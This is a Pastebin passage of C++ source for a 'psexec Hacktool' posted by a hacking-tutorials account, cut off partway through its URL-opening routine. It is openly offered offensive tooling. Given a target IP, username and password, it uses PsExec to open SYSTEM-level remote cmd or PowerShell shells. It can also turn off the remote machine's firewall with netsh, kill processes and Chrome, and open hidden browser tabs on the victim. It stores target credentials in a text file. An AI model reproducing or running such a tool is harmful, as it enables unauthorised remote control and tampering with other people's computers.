Advertisement
OriHackingTutorials

PSEXEC hacktool by ori shamir v5

Nov 6th, 2018
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 40.18 KB | None | 0 0
  1. #include "pch.h"
  2. #include <iostream>
  3. #include <Windows.h>
  4. #include <string>
  5. #include <fstream>
  6. #include <vector>
  7. #include <cstdlib>
  8. #include <boost/algorithm/string.hpp>
  9. using namespace std;
  10. void CheckForTool();
  11. void color(char colorchar);
  12. void chooseoption();
  13. void getPstools();
  14. void info();
  15. void helpCommands();
  16. //declare attack functions
  17. void getshell();
  18. void openURL();
  19. void closeChrome();
  20. void closeProcess();
  21. void credits();
  22. //-------------
  23.  
  24. struct PCinfo {
  25.     string ip;
  26.     string username;
  27.     string password;
  28.     string attackType = "getShell";
  29. }pc;
  30.  
  31. void pause(char nul) {
  32.     if (nul == 'y' || nul == 'Y')
  33.         system("pause >nul");
  34.     else
  35.         system("pause");
  36. }
  37. void clear() {
  38.     system("cls");
  39. }
  40.  
  41. int main()
  42. {
  43.    
  44.     string title = "psexec Hacktool Version 5.0 by Ori";
  45.     clear();
  46.     system("mode con: cols=120 lines=30");
  47.  
  48.     system(("title " + title).c_str());
  49.  
  50.     // get data from user (computer IP, USERNAME,PASSWORD)
  51.     clear();
  52.     std::cout << "\n\n";
  53.     color('w');
  54.     std::cout << "      Please enter the ";
  55.     color('C');
  56.     std::cout << "IP ";
  57.     color('w');
  58.     std::cout << "of the computer: ";
  59.     color('C');
  60.     cin >> pc.ip;
  61.     std::cout << '\n';
  62.     if (pc.ip == "install")
  63.         CheckForTool();
  64.     else if (pc.ip == "credits")
  65.         credits();
  66.     else if (pc.ip == "info")
  67.         info();
  68.     else if (pc.ip == "help" || pc.ip == "commands") {
  69.         system("mode con: cols=140 lines=30");
  70.         helpCommands();
  71.         color('R');
  72.         std::cout << "\n\n\n\n";
  73.         pause('n');
  74.         main();
  75.     }
  76.    
  77.     // USERNAME
  78.     color('w');
  79.     std::cout << "      Please enter the ";
  80.     color('C');
  81.     std::cout << "USERNAME";
  82.     color('w');
  83.     std::cout << " you want to hack: ";
  84.     color('C');
  85.    
  86.     cin >> pc.username;
  87.     std::cout << '\n';
  88.     cin.clear();
  89.     // password
  90.     color('w');
  91.     std::cout << "      Please enter the ";
  92.     color('C');
  93.     std::cout << "PASSWORD ";
  94.     color('w');
  95.     std::cout << "you want to hack: ";
  96.     color('C');
  97.    
  98.     cin >> pc.password;
  99.     std::cout << "\n\n";
  100.     color('G');
  101.     std::cout << "[*] Attacking the computer: ";
  102.     color('B');
  103.     std::cout << pc.ip;
  104.     color('G');
  105.     std::cout << " With the username: ";
  106.     color('B');
  107.     std::cout << pc.username;
  108.     color('G');
  109.     std::cout << " and the password: ";
  110.     color('B');
  111.     std::cout << pc.password << "\n\n\n";
  112.     color('Y');
  113.     pause('n');
  114.     chooseoption();
  115.     clear();
  116.     std::cout << "thanks for using my tool. my channel: ori61 51\n";
  117.  
  118.     return 0;
  119. }
  120.  
  121. void CheckForTool() {
  122.    
  123.     string autoDownload;
  124.     // check if the user has psexec installed
  125.     system("start C:\\windows\\system32\\psexec");
  126.     clear();
  127.     std::cout << "\n\n\n\n";
  128.     color('Y');
  129.     std::cout << "          OH! did an error just accure?\n";
  130.     std::cout << "          if the screen above says something like: \n\n\n";
  131.     color('G');
  132.     std::cout << "          The system cannot find the file C:\\windows\\system32\\psexec.\n\n\n";
  133.     color('Y');
  134.     std::cout << "          you can either download the required tools manually, or i can do it for you.\n";
  135.     std::cout << "          if you want me to auto-download it for you, type ";
  136.     color('C');
  137.     std::cout << "yes and press ENTER.";
  138.     color('Y');
  139.     std::cout << " or type ";
  140.     color('C');
  141.     std::cout << "NO and press ENTER\n";
  142.     color('Y');
  143.     std::cout << "          OR! if you already have PSTOOLS installed or i have already downloaded it for you, say ";
  144.     color('G');
  145.     std::cout << "HaveIt\n\n\n";
  146.     std::cout << "          ";
  147.     color('R');
  148.     cin >> autoDownload;
  149.     if (autoDownload == "yes" || autoDownload == "y" || autoDownload == "YES" || autoDownload == "Y") {
  150.         color('C');
  151.         getPstools();
  152.     }
  153.     else if (autoDownload == "HaveIt" || autoDownload == "haveit" || autoDownload == "ihaveit") {
  154.         main();
  155.     }
  156.     else if (autoDownload == "N" || autoDownload == "n" || autoDownload == "no" || autoDownload == "NO") {
  157.         color('Y');
  158.         std::cout << "OK. then please go to:\n";
  159.         color('C');
  160.         std::cout << "\n\n";
  161.         std::cout << "          https://docs.microsoft.com/en-us/sysinternals/downloads/pstools \n\n";
  162.         color('Y');
  163.         std::cout << "          and download PsTools.\n";
  164.         std::cout << "          Then, move ALL of the files in the .ZIP folder to C:\\windows\\system32 \n";
  165.         std::cout << "          Have you done that? GREAT! now you can proceed.\n\n\n\n\n\n\n\n\n\n";
  166.         pause('n');
  167.         pause('n');
  168.         main();
  169.     }
  170.     else {
  171.         main();
  172.     }
  173. }
  174.  
  175. void getPstools() {
  176.     system("cd C:\\windows\\system32 && curl https://download.sysinternals.com/files/PSTools.zip > pstools.zip && tar -xf pstools.zip");
  177.     std::cout << "\n\n";
  178.     color('Y');
  179.     std::cout << "             I am done downloading and installing. i will now redirect you.\n\n\n\n";
  180.     pause('n');
  181.     main();
  182. }
  183.  
  184. void chooseoption() {
  185.     clear();
  186.     system("title Please choose the attack type");
  187.     string todo;
  188.    
  189.     std::cout << "\n\n";
  190.  
  191.     color('Y');
  192.     std::cout << "         What action do you want to perform? \n\n";
  193.     color('P');
  194.     std::cout << "         -------------------------------------------------------------------------------------\n";
  195.     std::cout << "         =                                                                                   =\n";
  196.     std::cout << "         =            "; color('B'); cout << "[1]"; color('R'); cout << "   Open shell on the remote machine";                 color('P'); cout << "                                 =\n";
  197.     std::cout << "         =            "; color('B'); cout << "[2]"; color('R'); cout << "   Open a specific URL on the remote machine";        color('P'); cout << "                        =\n";
  198.     std::cout << "         =            "; color('B'); cout << "[3]"; color('R'); cout << "   Close a specific process on the remote machine";   color('P'); cout << "                   =\n";
  199.     std::cout << "         =            "; color('B'); cout << "[4]"; color('R'); cout << "   Close all chrome processes on the remote machine"; color('P'); cout << "                 =\n";
  200.     //std::cout << "         =            "; color('B'); cout << "[5]"; color('R'); cout << "   Scan for a vulnerable devices on the network";   color('P'); cout << "                     =\n";
  201.     std::cout << "         =            "; color('B'); cout << "[98]"; color('R'); cout << "  See the credits";                                  color('P'); cout << "                                                  =\n";
  202.     std::cout << "         =            "; color('B'); cout << "[99]"; color('R'); cout << "  Install the required tools";                       color('P'); cout << "                                       =\n";
  203.     std::cout << "         =            "; color('B'); cout << "[0]"; color('R'); cout << "   Exit the tool";                                    color('P'); cout << "                                                    =\n";
  204.     std::cout << "         =                                                                                   =\n";
  205.     std::cout << "         -------------------------------------------------------------------------------------\n\n\n";
  206.  
  207.  
  208.     while (true) {
  209.         color('C');
  210.         std::cout << "         HackItTool~# ";
  211.         color('B');
  212.         getline(cin, todo);
  213.  
  214.         vector<string> aTodo(10);
  215.         boost::split(aTodo, todo, [](char c) {return c == ' '; });
  216.  
  217.         if (todo == "1")
  218.             getshell();
  219.         else if (todo == "2")
  220.             openURL();
  221.         else if (todo == "3")
  222.             closeProcess();
  223.         else if (todo == "4")
  224.             closeChrome();
  225.         else if (todo == "98" || todo == "credits" || todo == "CREDITS" || todo == "credit")
  226.             credits();
  227.         else if (todo == "0" || todo == "EXIT" || todo == "exit")
  228.             exit(0);
  229.         else if (todo == "99" || todo == "install" || todo == "INSTALL")
  230.             CheckForTool();
  231.         else if (todo == "IP" || todo == "ip" || todo == "show ip") {
  232.             color('G');
  233.             std::cout << "         Currently, your IP is: ";
  234.             color('R');
  235.             std::cout << pc.ip << std::endl;
  236.  
  237.         }
  238.         else if (todo == "password" || todo == "show password" || todo == "PASSWORD" || todo == "pass" || todo == "show pass") {
  239.             color('G');
  240.             std::cout << "         Currently, your password is: ";
  241.             color('R');
  242.             std::cout << pc.password << std::endl;
  243.            
  244.         }
  245.         else if (todo == "username" || todo == "show username" || todo == "USERNAME") {
  246.             color('G');
  247.             std::cout << "         Currently, your username is: ";
  248.             color('R');
  249.             std::cout << pc.username << std::endl;
  250.            
  251.         }
  252.         else if (todo == "AttackType" || todo == "attackType" || todo == "show attackType" || todo == "show attacktype") {
  253.             color('G');
  254.             std::cout << "         Currently, your attack type is: ";
  255.             color('R');
  256.             std::cout << pc.attackType << std::endl;
  257.         }
  258.         else if (todo == "attack" || todo == "ATTACK" || todo == "run") {
  259.  
  260.             if (pc.attackType == "getShell" || pc.attackType == "getshell" || pc.attackType == "GetShell" || pc.attackType == "GETSHELL")
  261.                 getshell();
  262.             else if (pc.attackType == "closeChrome" || pc.attackType == "closechrome" || pc.attackType == "CloseChrome" || pc.attackType == "CLOSECHROME")
  263.                 closeChrome();
  264.             else if (pc.attackType == "openURL" || pc.attackType == "OpenUrl" || pc.attackType == "openurl" || pc.attackType == "OPENURL" || pc.attackType == "openUrl")
  265.                 openURL();
  266.             else if (pc.attackType == "closeProcess" || pc.attackType == "CloseProcess" || pc.attackType == "CLOSEPROCESS" || pc.attackType == "closeprocess" || pc.attackType == "Closeprocess")
  267.                 closeProcess();
  268.             else {
  269.                 color('Y');
  270.                 cout << "         unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
  271.             }
  272.            
  273.         }
  274.         else if (todo == "show options" || todo == "Show Options" || todo == "Show options" || todo == "options" || todo == "Options") {
  275.             helpCommands();
  276.            
  277.         }
  278.         else if (todo == "DisableFirewall" || todo == "disableFirewall" || todo == "disablefirewall") {
  279.             color('G');
  280.             system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c NetSh Advfirewall set allprofiles state off").c_str());
  281.         }
  282.         else if (todo == "EnableFirewall" || todo == "enableFirewall" || todo == "enablefirewall") {
  283.             color('G');
  284.             system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c NetSh Advfirewall set allprofiles state on").c_str());
  285.         }
  286.         else if (aTodo[0] == "import") {
  287.             string fileName;
  288.             if (aTodo.size() != 2) {
  289.                 color('G');
  290.                 std::cout << "\n\n         Usage: ";
  291.                 color('P');
  292.                 std::cout << "         import "; color('G'); std::cout << "[filename"; color('R'); cout << ".txt"; color('G'); cout << "]\n\n";
  293.  
  294.             }
  295.             else {
  296.                 fileName = aTodo[1];
  297.  
  298.                 std::ifstream userConfig(fileName);
  299.  
  300.                 string ip;
  301.                 string username;
  302.                 string password;
  303.                 string AttackType;
  304.  
  305.                 string CurrentStatus;
  306.  
  307.                 vector<string> IPs(150);
  308.                 vector<string> Usernames(150);
  309.                 vector<string> Passwords(150);
  310.                 vector<string> AttackTypes(150);
  311.  
  312.                 while (!userConfig) {
  313.                     color('R');
  314.                     std::cout << "         ERROR FILE NOT FOUND. CREATING FILE...\n";
  315.                     std::cout << "         Please make sure that your .txt file is always on the same folder as your .exe file.\n\n";
  316.                     color('C');
  317.  
  318.                     ofstream createFile;
  319.                     createFile.open(fileName);
  320.  
  321.                     createFile << "saves:\n";
  322.                     createFile << "[ip] [username] [password] [attackType openURL, getShell, closeChrome, closeProcess]\n";
  323.                     createFile << "10.0.0.138 user p@ssw0rd openURL\n\n";
  324.                     createFile << "urls:\n";
  325.                     createFile << "[name] [URL]\n";
  326.                     createFile << "OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/ \n\n";
  327.  
  328.                     createFile.close();
  329.                     break;
  330.                 }
  331.  
  332.                 int i = 0;
  333.                 while (userConfig >> CurrentStatus) {
  334.                     if (CurrentStatus == "saves:") {
  335.                         while (userConfig >> ip >> username >> password >> AttackType) {
  336.                             if (ip == "urls:" || username == "urls:" || password == "urls:" || AttackType == "urls:")
  337.                                 break;
  338.                             else {
  339.                                 IPs[i] = ip;
  340.                                 Usernames[i] = username;
  341.                                 Passwords[i] = password;
  342.                                 AttackTypes[i] = AttackType;
  343.                                 i++;
  344.                             }
  345.                         }
  346.                         break;
  347.                     }
  348.                 }
  349.                 userConfig.close();
  350.                 if (i >= 2) {
  351.                     int numOfSave = 0;
  352.                     color('r');
  353.                     std::cout << "         Listing options...\n\n\n";
  354.                     color('P');
  355.                     std::cout << "         --------------------------------------------------------------------\n";
  356.                     for (int c = 0; c < i; c++) {
  357.                         color('P');
  358.                         std::cout << "         =";
  359.                         color('G');
  360.                         std::cout << "          #" << c+1 << " ........ " << IPs[c] << ", " << Usernames[c] << ", " << Passwords[c] << ", " << AttackTypes[c] << "\n";
  361.                     }
  362.                     color('P');
  363.                     std::cout << "         --------------------------------------------------------------------\n";
  364.                     color('Y');
  365.                     std::cout << "         HackItTool~# ";
  366.                     color('B');
  367.                     cin >> numOfSave;
  368.                     numOfSave -= 1; // this is equal to numOfSave = numOfSave - 1;
  369.                     if (numOfSave > i) {
  370.                         color('R');
  371.                         std::cout << "         The option: " << numOfSave << " Is not valid. please enter the command again.\n\n";
  372.                         pause('n');
  373.                         chooseoption();
  374.                     }
  375.                     //std::cout << "ok. the creds for the number you chose are: " << IPs[numOfSave] << ',' << Usernames[numOfSave] << ',' << Passwords[numOfSave] << ',' << AttackTypes[numOfSave] << std::endl;
  376.                     pc.ip = IPs[numOfSave];
  377.                     pc.username = Usernames[numOfSave];
  378.                     pc.password = Passwords[numOfSave];
  379.                     pc.attackType = AttackTypes[numOfSave];
  380.                 }
  381.                 else {
  382.                     pc.ip = ip;
  383.                     pc.username = username;
  384.                     pc.password = password;
  385.                     pc.attackType = AttackType;
  386.                 }
  387.                 std::cout << "\n";
  388.                 color('Y');
  389.                 cout << "         your ip is now: ";
  390.                 color('R');
  391.                 cout << pc.ip;
  392.                 color('Y');
  393.                 cout << "\n         your username is now: ";
  394.                 color('R');
  395.                 cout << pc.username;
  396.                 color('Y');
  397.                 cout << "\n         your password is now: ";
  398.                 color('R');
  399.                 cout << pc.password;
  400.                 color('Y');
  401.                 cout << "\n         your attack type is now: ";
  402.                 color('R');
  403.                 cout << pc.attackType << "\n\n\n";
  404.  
  405.                 string RunItNow;
  406.                 color('C');
  407.                 std::cout << "         Would you like to run it now? (Y/n)";
  408.                 color('B');
  409.                 cin >> RunItNow;
  410.                 if (RunItNow == "Y" || RunItNow == "y" || RunItNow == "yes" || RunItNow == "YES" || RunItNow == "Yes") {
  411.  
  412.                     if (pc.attackType == "getShell" || pc.attackType == "getshell" || pc.attackType == "GetShell" || pc.attackType == "GETSHELL")
  413.                         getshell();
  414.                     else if (pc.attackType == "closeChrome" || pc.attackType == "closechrome" || pc.attackType == "CloseChrome" || pc.attackType == "CLOSECHROME")
  415.                         closeChrome();
  416.                     else if (pc.attackType == "openURL" || pc.attackType == "OpenUrl" || pc.attackType == "openurl" || pc.attackType == "OPENURL" || pc.attackType == "openUrl")
  417.                         openURL();
  418.                     else if (pc.attackType == "closeProcess" || pc.attackType == "CloseProcess" || pc.attackType == "CLOSEPROCESS" || pc.attackType == "closeprocess" || pc.attackType == "Closeprocess")
  419.                         closeProcess();
  420.                     else {
  421.                         color('Y');
  422.                         cout << "         unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
  423.                     }
  424.                 }
  425.                 else {
  426.                 }
  427.             }          
  428.         }      
  429.         else if (todo == "HELP" || todo == "help") {
  430.             helpCommands();        
  431.         }
  432.         else if (todo == "info" || todo == "INFO")
  433.             info();
  434.         else if (todo == "clear" || todo == "CLEAR") {
  435.             cin.clear();
  436.             chooseoption();
  437.            
  438.         }
  439.         else if (todo == "RESTART" || todo == "restart")
  440.             main();
  441.         // ADDURL
  442.         /*
  443.         else if (aTodo[0] == "addurl" || aTodo[0] == "addURL" || aTodo[0] == "help" && aTodo[1] == "addURL" || aTodo[0] == "help" && aTodo[1] == "addurl") {
  444.             if (aTodo.size() != 3) {
  445.                 color('R');
  446.                 std::cout << "\n         Usage: addurl [name] [url] \n         example:\n";
  447.                 color('G');
  448.                 std::cout << "         addurl OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q" << "\n\n\n\n";
  449.                 color('C');
  450.                 pause('n');
  451.                 chooseoption();
  452.             }
  453.             else {
  454.                 if (!aTodo[1].empty() && !aTodo[2].empty()) {
  455.                     string name = aTodo[1];
  456.                     string URL = aTodo[2];
  457.                     string CurrentStatus;
  458.                     std::ofstream createFile;
  459.                     std::ifstream CheckFile("config.txt");
  460.  
  461.                     createFile.open("config.txt", fstream::app); // open the file in append mode, so you wont override it.
  462.                     while (CheckFile >> CurrentStatus) {
  463.                         if (CurrentStatus == "urls:") {
  464.                             createFile << "\n" << name << " " << URL << " \n";
  465.                             break;
  466.                         }
  467.                     }
  468.                     createFile.close();
  469.                     color('C');
  470.                     std::cout << "         Assigned the name: ";
  471.                     color('R');
  472.                     std::cout << name;
  473.                     color('C');
  474.                     std::cout << " To the URL: ";
  475.                     color('R');
  476.                     std::cout << URL << "\n";
  477.                 }
  478.                 color('C');
  479.             }
  480.         }
  481.         */
  482.         // REMOVEURL
  483.         /*
  484.         else if (aTodo[0] == "removeurl" || aTodo[0] == "removeURL" || aTodo[0] == "remurl" || aTodo[0] == "remURL" || aTodo[0] == "help" && aTodo[1] == "removeurl") {
  485.             if (aTodo.size() != 3) {
  486.                 color('R');
  487.                 std::cout << "   Usage: removeURL [name] [url] \n   example:\n";
  488.                 color('G');
  489.                 std::cout << "   removeURL OriChannel\n";
  490.                 color('Y');
  491.                 pause('n');
  492.                 chooseoption();
  493.             }
  494.             else {
  495.                 std::string shortcutname;
  496.                 std::string url;
  497.                
  498.                 std::ifstream file("urls.txt");
  499.  
  500.                 vector<string> urls(150);
  501.                 vector<string> shortcutNames(150);
  502.  
  503.                 int numoflines = 0;
  504.                 while (file >> url >> shortcutname) {
  505.                     shortcutNames[numoflines] = shortcutname;
  506.                     urls[numoflines] = url;
  507.                     numoflines++;
  508.                 }
  509.  
  510.                 ofstream newFile;
  511.                 newFile.open("urls.txt");
  512.                 for (int c = 0; c <= numoflines; c++) {
  513.                     if (urls[c] == aTodo[1]) {
  514.                         //dont write it to the file
  515.                     }
  516.                     else {
  517.                         newFile << urls[c] << " " << shortcutNames[c] << "\n";
  518.                     }
  519.                 }
  520.  
  521.                 color('C');
  522.  
  523.             }
  524.         }
  525.         */
  526.  
  527.         else if (aTodo[0] == "set" || aTodo[0] == "SET") {
  528.             if (aTodo.size() != 3) {
  529.                 color('G');
  530.                 std::cout << "\n\n         Usage: \n";
  531.                 color('R');
  532.                 std::cout << "         set ip [ip]\n";
  533.                 std::cout << "         set username [username]\n";
  534.                 std::cout << "         set password [password]\n";
  535.                 std::cout << "         set attackType [type]\n\n";
  536.                 color('P');
  537.                 std::cout << "         ---------------------------\n";
  538.                 std::cout << "         |       Attack types:     |\n";
  539.                 std::cout << "         |         getshell        |\n";
  540.                 std::cout << "         |         openURL         |\n";
  541.                 std::cout << "         |         closeChrome     |\n";
  542.                 std::cout << "         |         closeProcess    |\n";
  543.                 std::cout << "         ---------------------------\n\n";
  544.                
  545.             }
  546.             else {
  547.                 if (aTodo[1] == "username" || aTodo[1] == "Username" || aTodo[1] == "USERNAME") {
  548.                     pc.username = aTodo[2];
  549.                     color('G');
  550.                     std::cout << "         Your username is now set to " << pc.username << std::endl;
  551.                 }
  552.                 else if (aTodo[1] == "password" || aTodo[1] == "Password" || aTodo[1] == "PASSWORD" || aTodo[1] == "pass") {
  553.                     pc.password = aTodo[2];
  554.                     color('G');
  555.                     std::cout << "         Your password is now set to " << pc.password << std::endl;
  556.                 }
  557.                 else if (aTodo[1] == "ip" || aTodo[1] == "IP") {
  558.                     pc.ip = aTodo[2];
  559.                     color('G');
  560.                     std::cout << "         Your ip is now set to " << pc.ip << std::endl;
  561.                 }
  562.                 else if (aTodo[1] == "attackType" || aTodo[1] == "attacktype" || aTodo[1] == "attack"){
  563.  
  564.                     if (aTodo[2] == "getShell" || aTodo[2] == "getshell" || aTodo[2] == "GetShell" || aTodo[2] == "GETSHELL")
  565.                         pc.attackType = "getShell";
  566.                     else if (aTodo[2] == "closeChrome" || aTodo[2] == "closechrome" || aTodo[2] == "CloseChrome" || aTodo[2] == "CLOSECHROME")
  567.                         pc.attackType = "closeChrome";                 
  568.                     else if (aTodo[2] == "openURL" || aTodo[2] == "OpenUrl" || aTodo[2] == "openurl" || aTodo[2] == "OPENURL" || aTodo[2] == "openUrl")
  569.                         pc.attackType = "openURL";                 
  570.                     else if (aTodo[2] == "closeProcess" || aTodo[2] == "CloseProcess" || aTodo[2] == "CLOSEPROCESS" || aTodo[2] == "closeprocess" || aTodo[2] == "Closeprocess")
  571.                         pc.attackType = "closeProcess";
  572.  
  573.                     else {
  574.                         color('Y');
  575.                         cout << "         unknown attack type. please type " << '"' << "set" << '"' << " for help.\n";
  576.                     }
  577.                 }
  578.                 else {
  579.                     color('R');
  580.                     std::cout << "         Unkown setting " << '"' << aTodo[1] <<'"' <<". type ";
  581.                     color('G');
  582.                     std::cout << '"' << "set" << '"';
  583.                     color('R');
  584.                     std::cout << " for help.\n";
  585.                 }
  586.  
  587.             }
  588.         }
  589.         else {         
  590.             color('R');
  591.             std::cout << "         Unkown command. type ";
  592.             color('G');
  593.             std::cout << '"' << "help" << '"';
  594.             color('R');
  595.             std::cout << " for help.\n";
  596.         }
  597.     }
  598.     pause('n');
  599. }
  600.  
  601. void getshell() {
  602.     string todo;
  603.     string title = "psexec HackTool - get shell";
  604.     system(("title " + title).c_str());
  605.     clear();
  606.     std::cout << "\n\n\n";
  607.     color('B');
  608.     std::cout << "         Please specify the kind of shell: \n\n";
  609.     color('Y');
  610.     std::cout << "         ----------------------------------------------------------\n";
  611.     std::cout << "         =                                                        =\n";
  612.     std::cout << "         =                    "; color('G'); cout << "[P] "; color('C'); cout << "use POWERSHELL"; color('Y'); cout << "                  = \n";
  613.     std::cout << "         =                    "; color('G'); cout << "[C] "; color('C'); cout << "use CMD"; color('Y'); cout << "                         = \n";
  614.     std::cout << "         =                    "; color('G'); cout << "[99] "; color('C'); cout << "Go back"; color('Y'); cout << "                        = \n";
  615.     color('Y');
  616.     std::cout << "         =                                                        =\n";
  617.     std::cout << "         ----------------------------------------------------------\n\n\n";
  618.  
  619.     color('C');
  620.     while (true) {
  621.         std::cout << "         HackItTool~# ";
  622.         color('B');
  623.         getline(cin, todo);
  624.  
  625.         // P key
  626.         // P key is 0x50
  627.         if (todo == "P" || todo == "p") {
  628.             clear();
  629.  
  630.             color('Y');
  631.             std::cout << "         ------------------------------------------------------------------------------------------------------------\n";
  632.             std::cout << "         =                                                                                                          =\n";
  633.             std::cout << "         =          Attacking ";
  634.             color('G');
  635.             std::cout << pc.ip;
  636.             color('Y');
  637.             std::cout << " with the ";
  638.             color('G');
  639.             std::cout << "username: " << pc.username;
  640.             color('Y');
  641.             std::cout << " and the ";
  642.             color('G');
  643.             std::cout << "password: " << pc.password << std::endl;
  644.             color('Y');
  645.             std::cout << "         =                                 USING POWERSHELL                                                         =\n";
  646.             std::cout << "         =                                                                                                          =\n";
  647.             std::cout << "         ------------------------------------------------------------------------------------------------------------\n";
  648.             color('G');
  649.             std::cout << "[+] Authenticating...\n";
  650.             color('C');
  651.             cin.clear();
  652.             system(("psexec \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " -s powershell.exe" + " -accepteula").c_str());
  653.             chooseoption();
  654.             return;
  655.  
  656.         }
  657.         // 0x43 is the C key
  658.         else if (todo == "C" || todo == "c") {
  659.             clear();
  660.             color('Y');
  661.             std::cout << "         -----------------------------------------------------------------------------------------\n";
  662.             std::cout << "         =                                                        \n";
  663.             std::cout << "         =          Attacking ";
  664.             color('G');
  665.             std::cout << pc.ip;
  666.             color('Y');
  667.             std::cout << " with the ";
  668.             color('G');
  669.             std::cout << "username: " << pc.username;
  670.             color('Y');
  671.             std::cout << " and the ";
  672.             color('G');
  673.             std::cout << "password: " << pc.password << std::endl;
  674.             color('Y');
  675.             std::cout << "         =                        USING CMD                                                      =\n";
  676.             std::cout << "         =                                                                                       =\n";
  677.             std::cout << "         -----------------------------------------------------------------------------------------\n";
  678.             color('G');
  679.             std::cout << "[+] Authenticating...\n";
  680.             color('C');
  681.             cin.clear();
  682.             system(("psexec \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " -s cmd.exe" + " -accepteula").c_str());
  683.             chooseoption();
  684.             return;
  685.         }
  686.         else if (todo == "back" || todo == "return" || 99) {
  687.             chooseoption();
  688.         }
  689.         else {
  690.             color('R');
  691.             std::cout << "         Please enter a valid option.\n\n";
  692.             color('C');
  693.         }
  694.         Sleep(400);
  695.     }
  696.     return;
  697. }
  698.  
  699. void openURL() {
  700.     clear();
  701.     system("title psexec HackTool - open URL");
  702.  
  703.     unsigned short int iNumOfTabsToOpen;
  704.     unsigned short int iDelayBetweenStartingTabs;
  705.     unsigned short int iDelayBeforeOpening;
  706.     string sDelayBetweenStartingTabs;
  707.     string sDelayBeforeOpening;
  708.     string sIsinVisible;
  709.     bool bIsinVisible = false;
  710.     std::string sIncognito, AnswerIncognito, URL, sNumOfTabsToOpen;
  711.    
  712.     std::cout << "\n\n\n\n";
  713.     vector<string> aImport(10);
  714.    
  715.     color('Y');
  716.     std::cout << "    If you want to import URLs from a text file, type"; color('R'); std::cout << " import <filename.txt>\n"; color('Y');
  717.     std::cout << "    Please enter the URL you want to be opened: ";
  718.     color('G');
  719.     getline(cin, URL);
  720.     std::cout << '\n';
  721.     boost::split(aImport, URL, [](char c) {return c == ' '; });
  722.     if (aImport.size() > 1 && aImport[0] == "import") {
  723.         string fileName = aImport[1];
  724.         std::ifstream userConfig(fileName);
  725.  
  726.         string currentName;
  727.         string currentURL;
  728.  
  729.         string CurrentStatus;
  730.  
  731.         vector<string> Names(150);
  732.         vector<string> URLs(150);
  733.  
  734.         while (!userConfig) {
  735.             color('R');
  736.             std::cout << "         ERROR FILE NOT FOUND. CREATING FILE...\n";
  737.             std::cout << "         Please make sure that your .txt file is always on the same folder as your .exe file.\n\n";
  738.             color('C');
  739.  
  740.             ofstream createFile;
  741.             createFile.open(fileName);
  742.  
  743.             createFile << "saves:\n";
  744.             createFile << "[ip] [username] [password] [attackType openURL, getShell, closeChrome, closeProcess]\n";
  745.             createFile << "10.0.0.138 user p@ssw0rd openURL\n\n";
  746.             createFile << "urls:\n";
  747.             createFile << "[name] [URL]\n";
  748.             createFile << "OriChannel https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/ \n\n";
  749.  
  750.             createFile.close();
  751.             break;
  752.         }
  753.  
  754.         int i = 0;
  755.         while (userConfig >> CurrentStatus) {
  756.             if (CurrentStatus == "urls:" || CurrentStatus == "URLS:") {
  757.                 while (userConfig >> currentName >> currentURL) {
  758.                     if (currentName == "saves:" || currentURL == "saves:")
  759.                         break;
  760.                     else {
  761.                         Names[i] = currentName;
  762.                         URLs[i] = currentURL;
  763.                         i++;
  764.                     }
  765.                 }
  766.                 break;
  767.             }
  768.         }
  769.         userConfig.close();
  770.         if (i > 1) {
  771.             int numOfSave = 0;
  772.             color('r');
  773.             std::cout << "         Listing options...\n\n\n";
  774.             color('P');
  775.             std::cout << "         --------------------------------------------------------------------\n";
  776.             for (int c = 0; c < i; c++) {
  777.                 color('P');
  778.                 std::cout << "         =";
  779.                 color('G');
  780.                 std::cout << "          #" << c + 1 << " ........ " << Names[c] << ", " << URLs[c] << "\n";
  781.             }
  782.             color('P');
  783.             std::cout << "         --------------------------------------------------------------------\n";
  784.             color('Y');
  785.             std::cout << "         HackItTool~# ";
  786.             color('B');
  787.             cin >> numOfSave;
  788.             numOfSave -= 1; // this is equal to numOfSave = numOfSave - 1;
  789.             if (numOfSave > i) {
  790.                 color('R');
  791.                 std::cout << "         The option: " << numOfSave << " Is not valid. please enter the command again.\n\n";
  792.                 pause('n');
  793.                 openURL;
  794.             }
  795.            
  796.             URL = URLs[numOfSave];
  797.            
  798.            
  799.         }
  800.         //std::cout << "         The URL is now set to: " << URLs[numOfSave] << "\n";
  801.         cin.ignore();
  802.     }
  803.     color('Y');
  804.     std::cout << "    How many times do you want to open this URL? ";
  805.     color('G');
  806.     cin >> sNumOfTabsToOpen;
  807.     try {
  808.         iNumOfTabsToOpen = std::stoi(sNumOfTabsToOpen);
  809.     }
  810.     catch (std::invalid_argument& e) {
  811.         std::cout << "Please enter a valid number.\n";
  812.         cin.ignore();
  813.         pause('y');
  814.         openURL();
  815.     }
  816.    
  817.     std::cout << '\n';
  818.  
  819.     color('Y');
  820.     std::cout << "    Do you want to open the tab in incognito mode? (Y/n): ";
  821.     color('G');
  822.     cin >> sIncognito;
  823.     color('B');
  824.     std::cout << '\n';
  825.  
  826.     color('Y');
  827.     std::cout << "    Would you like to make the window invisible to the user? (Y/n) ";
  828.     color('G');
  829.     cin >> sIsinVisible;
  830.     if (sIsinVisible == "y" || sIsinVisible == "Y" || sIsinVisible == "yes" || sIsinVisible == "Yes")
  831.         bIsinVisible = true;
  832.     std::cout << '\n';
  833.  
  834.     color('Y');
  835.     std::cout << "    How much time do you want to delay before opening the URL? (in milliseconds): ";
  836.     color('G');
  837.     cin >> sDelayBeforeOpening;
  838.     try {
  839.         iDelayBeforeOpening = std::stoi(sDelayBeforeOpening);
  840.     }
  841.     catch (std::invalid_argument& e) {
  842.         std::cout << "Please enter a valid number.\n";
  843.         cin.ignore();
  844.         pause('y');
  845.         openURL();
  846.     }
  847.     std::cout << '\n';
  848.    
  849.     //-------------------------------------------------------------------------------------------
  850.     //=                  START TO CHECK FOR NUMBER OF TABS TO OPEN, AND DELAY                   =
  851.     //-------------------------------------------------------------------------------------------
  852.     if (iNumOfTabsToOpen > 1 && iNumOfTabsToOpen < 3000) {
  853.         color('Y');
